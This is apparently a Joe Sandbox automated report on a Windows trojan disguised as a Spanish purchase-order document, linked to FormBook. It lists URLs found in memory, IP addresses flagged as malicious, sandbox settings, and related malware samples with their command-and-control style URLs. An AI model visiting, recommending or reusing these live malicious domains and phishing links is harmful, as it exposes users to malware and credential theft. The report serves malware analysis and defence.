                                                                                        http://www.kxn.ink/pz08/www.nordens-media.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://ww25.yassa-hany.online/pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBexplorer.exe, 00000007.00000002.3808854347.000000001092F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000008.00000002.3789027018.000000000570F000.00000004.10000000.00040000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.plantasdasminas.com/pz08/explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/viexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-bexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://schemas.microexplorer.exe, 00000007.00000002.3796442982.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000002.3794964784.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000002.3796420580.0000000008810000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            http://www.ytytyt016.xyzexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: phishing
                                                                                            		unknown
                                                                                            http://www.sunriseclohting.store/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINtexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://www.5819995.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://www.tacoshack479.com/pz08/www.sunriseclohting.storeexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: malware
                                                                                              		unknown
                                                                                              https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.nordens-media.com/pz08/www.thewipglobal.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://www.ytytyt016.xyz/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: phishing
                                                                                                  		unknown
                                                                                                  http://www.tobegoodlife.net/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://www.yobo-by.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    http://www.go-bloggers.com/pz08/www.tobegoodlife.netexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    http://www.sunriseclohting.storeexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsmexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.boostyourselftoday.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      http://www.yobo-by.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      http://www.phdop.xyz/pz08/www.rdlva.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: phishing
                                                                                                      		unknown
                                                                                                      http://www.tacoshack479.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: malware
                                                                                                      		unknown
                                                                                                      https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://powerpoint.office.comexplorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://www.5819995.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: malware
                                                                                                          		unknown
                                                                                                          http://www.foreca.comexplorer.exe, 00000007.00000002.3793412922.00000000071B2000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://www.phdop.xyzReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.plantasdasminas.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.nordens-media.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.nordens-media.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.nordens-media.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.thewipglobal.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.aloyoga-uae.com/pz08/www.kxn.inkexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: phishing
                                                                                                            		unknown
                                                                                                            http://www.go-bloggers.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://www.phdop.xyz/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: phishing
                                                                                                            		unknown

                                                                                                            World Map of Contacted IPs

                                                                                                            • No. of IPs < 25%
                                                                                                            • 25% < No. of IPs < 50%
                                                                                                            • 50% < No. of IPs < 75%
                                                                                                            • 75% < No. of IPs

                                                                                                            Public IPs

                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                            103.224.212.213
                                                                                                            		www.yassa-hany.onlineAustralia
                                                                                                            		133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                            15.197.130.221
                                                                                                            		www.thewipglobal.comUnited States
                                                                                                            		7430TANDEMUStrue
                                                                                                            172.104.233.69
                                                                                                            		boostyourselftoday.comUnited States
                                                                                                            		63949LINODE-APLinodeLLCUStrue
                                                                                                            15.197.142.173
                                                                                                            		nordens-media.comUnited States
                                                                                                            		7430TANDEMUStrue
                                                                                                            18.167.179.176
                                                                                                            		51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.comUnited States
                                                                                                            		16509AMAZON-02USfalse
                                                                                                            104.21.12.188
                                                                                                            		www.kxn.inkUnited States
                                                                                                            		13335CLOUDFLARENETUStrue
                                                                                                            13.228.106.35
                                                                                                            		giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.comUnited States
                                                                                                            		16509AMAZON-02USfalse
                                                                                                            3.96.23.237
                                                                                                            		www.aloyoga-uae.comUnited States
                                                                                                            		16509AMAZON-02UStrue
                                                                                                            3.33.130.190
                                                                                                            		rdlva.comUnited States
                                                                                                            		8987AMAZONEXPANSIONGBtrue

                                                                                                            General Information

                                                                                                            Joe Sandbox version:40.0.0 Tourmaline
                                                                                                            Analysis ID:1400223
                                                                                                            Start date and time:2024-02-28 14:53:32 +01:00
                                                                                                            Joe Sandbox product:CloudBasic
                                                                                                            Overall analysis duration:0h 12m 9s
                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                            Report type:full
                                                                                                            Cookbook file name:default.jbs
                                                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                            Number of analysed new started processes analysed:17
                                                                                                            Number of new started drivers analysed:0
                                                                                                            Number of existing processes analysed:0
                                                                                                            Number of existing drivers analysed:0
                                                                                                            Number of injected processes analysed:1
                                                                                                            Technologies:
                                                                                                            • HCA enabled
                                                                                                            • EGA enabled
                                                                                                            • AMSI enabled
                                                                                                            Analysis Mode:default
                                                                                                            Analysis stop reason:Timeout
                                                                                                            Sample name:Solicitud de pedido Documento No 168646080.exe
                                                                                                            Detection:MAL
                                                                                                            Classification:mal100.troj.evad.winEXE@11/6@10/9
                                                                                                            EGA Information:
                                                                                                            • Successful, ratio: 100%
                                                                                                            HCA Information:
                                                                                                            • Successful, ratio: 99%
                                                                                                            • Number of executed functions: 245
                                                                                                            • Number of non-executed functions: 205
                                                                                                            Cookbook Comments:
                                                                                                            • Found application associated with file extension: .exe
                                                                                                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                            Warnings

                                                                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                            • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                            • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                            • Report size getting too big, too many NtOpenKey calls found.
                                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                            • VT rate limit hit for: Solicitud de pedido Documento No 168646080.exe

                                                                                                            Simulations

                                                                                                            Behavior and APIs

                                                                                                            TimeTypeDescription
                                                                                                            14:54:34API Interceptor1x Sleep call for process: Solicitud de pedido Documento No 168646080.exe modified
                                                                                                            14:54:39API Interceptor10x Sleep call for process: powershell.exe modified
                                                                                                            14:54:46API Interceptor7399935x Sleep call for process: explorer.exe modified
                                                                                                            15:59:00API Interceptor7350742x Sleep call for process: msiexec.exe modified

                                                                                                            Joe Sandbox View / Context

                                                                                                            IPs

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                            103.224.212.213DHL Factura Electronica Pendiente documento No 04BB25083.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • www.yassa-hany.online/pz08/?N6Ahw=3ffl2F0Punah42&Ap=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuP1PGrx4qdiR
                                                                                                            PaDQmSw2ud.dllGet hashmaliciousLaplas ClipperBrowse
                                                                                                            • searchseedphase.online/bot/regex
                                                                                                            PaDQmSw2ud.dllGet hashmaliciousLaplas ClipperBrowse
                                                                                                            • searchseedphase.online/bot/regex
                                                                                                            Documento de confirmacion de orden de compra OC 1580070060.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.yassa-hany.online/pz08/?mzrPV4R=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMVpBqNDhq+c&Rl=8pFP0r98Chvt5p5P
                                                                                                            2024-09C33T37.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.jeffwertdesign.com/ve92/?K2M8bVC=FFlo4/TKNXAR7V12oAudCGusg/tK2zFE/4uuQQ9Wgy0sGP4AKi+QV1PLyZgh2gAJGU7I&tXC=BDK02VJ87dHtUzo
                                                                                                            rBCPcomprobante.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.yassa-hany.online/pz08/?CrFT7j=ftx8Clc09Ned3F&pR-l7PfH=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMVQNLhAw6fb
                                                                                                            Proforma_Invoice.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                            • www.epansion.com/ao65/?BR-hMX=rvO+ATiOvXVjo/S2H7FppiqdWdEaFhxw3FA4xmox9z3FoZLInDsOyhar+a5ltJSnpB6j&Gzu=sFNxH
                                                                                                            003425425124526.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                            • www.epansion.com/ao65/?GR0=rvO+ATiOvXVjo/S2H7FppiqdWdEaFhxw3FA4xmox9z3FoZLInDsOyhar+atqjoikrWmu&IDK=RJBh5RS0IZO8zhrP
                                                                                                            Nuevo_orden_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.themicheline.com/g11y/?4hOl=Q/yQLYVAGKkMZrnE0iOJNdDJIeKID0+EwORul+wPjaygN5L5fjaaMR6aEX0pRQDKm1/B&l2Mt_N=fTAlQTwhPDH
                                                                                                            Hubnnuiisapctu.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                            • www.epansion.com/ao65/?2d=rvO+ATiOvXVjo/S2H7FppiqdWdEaFhxw3FA4xmox9z3FoZLInDsOyhar+ZVDqIufkgb4a3XCnQ==&3fC=vZeTzRlX84SHE
                                                                                                            15.197.130.221file.exeGet hashmaliciousUnknownBrowse
                                                                                                            • vitalikcreatedethereumtobethenewworldorderscurrency.shop/get/65c3048a130dda59d2528286
                                                                                                            SecuriteInfo.com.Win32.PWSX-gen.8868.18243.exeGet hashmaliciousUnknownBrowse
                                                                                                            • vitalikcreatedethereumtobethenewworldorderscurrency.shop/get/65c2ee4a130dda59d2527f28
                                                                                                            Quotaton.pdf.exeGet hashmaliciousUnknownBrowse
                                                                                                            • vitalikcreatedethereumtobethenewworldorderscurrency.shop/get/65c29cdd130dda59d2527349
                                                                                                            chrome.apkGet hashmaliciousHydraBrowse
                                                                                                            • hjghgfgftdrdssst7654345.cfd/api/v1/device/check?screen=true
                                                                                                            file.exeGet hashmaliciousGlupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoaderBrowse
                                                                                                            • integrityhomemtg.com/pma/
                                                                                                            FacFiscalDigitalenmi6Q8V_C(549).PDF.vbsGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.130.221/a/08/150822/au/logs/index.php?CHLG
                                                                                                            6.vbsGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.130.221/a/08/150822/au/logs/index.php?CHLG
                                                                                                            http://rbcroyal-secures.comGet hashmaliciousUnknownBrowse
                                                                                                            • rbcroyal-secures.com/favicon.ico
                                                                                                            http://santan-schedule-help-id5.com/Get hashmaliciousUnknownBrowse
                                                                                                            • santan-schedule-help-id5.com/track.php?domain=santan-schedule-help-id5.com&caf=1&toggle=answercheck&answer=yes&uid=MTY4MzU4NTEzNi44NTYxOjE2MTcxMzcyNWRjNzIyMTNkNzQ1MGJiODk0NTZiY2RiM2VhNDE1ZTA0NjMzN2JmNTM4M2UxYmI3N2FjN2FjNWY6NjQ1OTc4NzBkMTAyNg%3D%3D
                                                                                                            FATURA_DE_PAGAMENTO.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.iranbaklava.com/de12/?WL08l6oh=y3FEHWw5oyiW0zUA6ys3NH5BCju+GNijWMs3Uub3khu4FFB/eJXoBqeJzutLdHhdt+cM&G6A=3fCdVR
                                                                                                            172.104.233.69Documento de confirmacion de orden de compra OC 1580070060.exeGet hashmaliciousFormBookBrowse
                                                                                                            • www.boostyourselftoday.com/pz08/?mzrPV4R=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN2AdDBFU3yO&Rl=8pFP0r98Chvt5p5P

                                                                                                            Domains

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                            www.yassa-hany.onlineDHL Factura Electronica Pendiente documento No 04BB25083.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • 103.224.212.213
                                                                                                            Documento de confirmacion de orden de compra OC 1580070060.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 103.224.212.213
                                                                                                            rBCPcomprobante.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 103.224.212.213
                                                                                                            www.kxn.inkrDHLFacturaElec.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • 172.67.132.76
                                                                                                            Banka odeme havale makbuzu 20240209 TL950000900.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 104.21.12.188
                                                                                                            www.aloyoga-uae.comDocumento di bonifico bancario intesa Sanpaola EUR43750 20240223.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • 3.96.23.237
                                                                                                            Banka odeme havale makbuzu 20240209 TL950000900.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 196.196.197.220

                                                                                                            ASNs

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                            LINODE-APLinodeLLCUSPaid Invoice 2917-IN.HTMLGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 139.162.55.233
                                                                                                            https://secure.adnxs.com/clktrb?id=360572&redir=//barslaves.com/guedassea/Novozymes/amVia0Bub3ZvenltZXMuY29tGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 69.164.216.107
                                                                                                            https://lp.vp4.me/tmqcGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 172.104.159.87
                                                                                                            https://www.google.com/url?q=https://www.google.me/amp/s/drentheplus%E3%80%82com/#9567bmVpbC5zYXdicmlkZ2VAd2FsYnJvb2thc3NldC5jb20N??5698068956980689bmVpbC5zYXdicmlkZ2VAd2FsYnJvb2thc3NldC5jb20N/..=%7B=X2kVSIkTTl4pPibw25CZvHK1JBF1ofBi5698068956980689Get hashmaliciousFake Captcha, HTMLPhisherBrowse
                                                                                                            • 172.105.14.207
                                                                                                            1AIemYSAZy.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, StealcBrowse
                                                                                                            • 198.58.121.58
                                                                                                            n1KVzXM8Wk.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                            • 213.168.250.121
                                                                                                            https://es-mad-1.linodeobjects.com/imd/korian.html#4LRqoo3790CWqy30qlgcgdgtum804PGMBQKONRNANMRI816587GOEV11367Y15/A9JWvsdqcTFisTsjuCHGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 172.105.35.99
                                                                                                            HXgmHRSUEI.elfGet hashmaliciousMiraiBrowse
                                                                                                            • 172.104.21.89
                                                                                                            https://runrun.it/share/form/mqrK0cUcc7ZJi_InGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 172.105.152.65
                                                                                                            https://runrun.it/share/form/mqrK0cUcc7ZJi_InGet hashmaliciousHTMLPhisherBrowse
                                                                                                            • 172.105.152.65
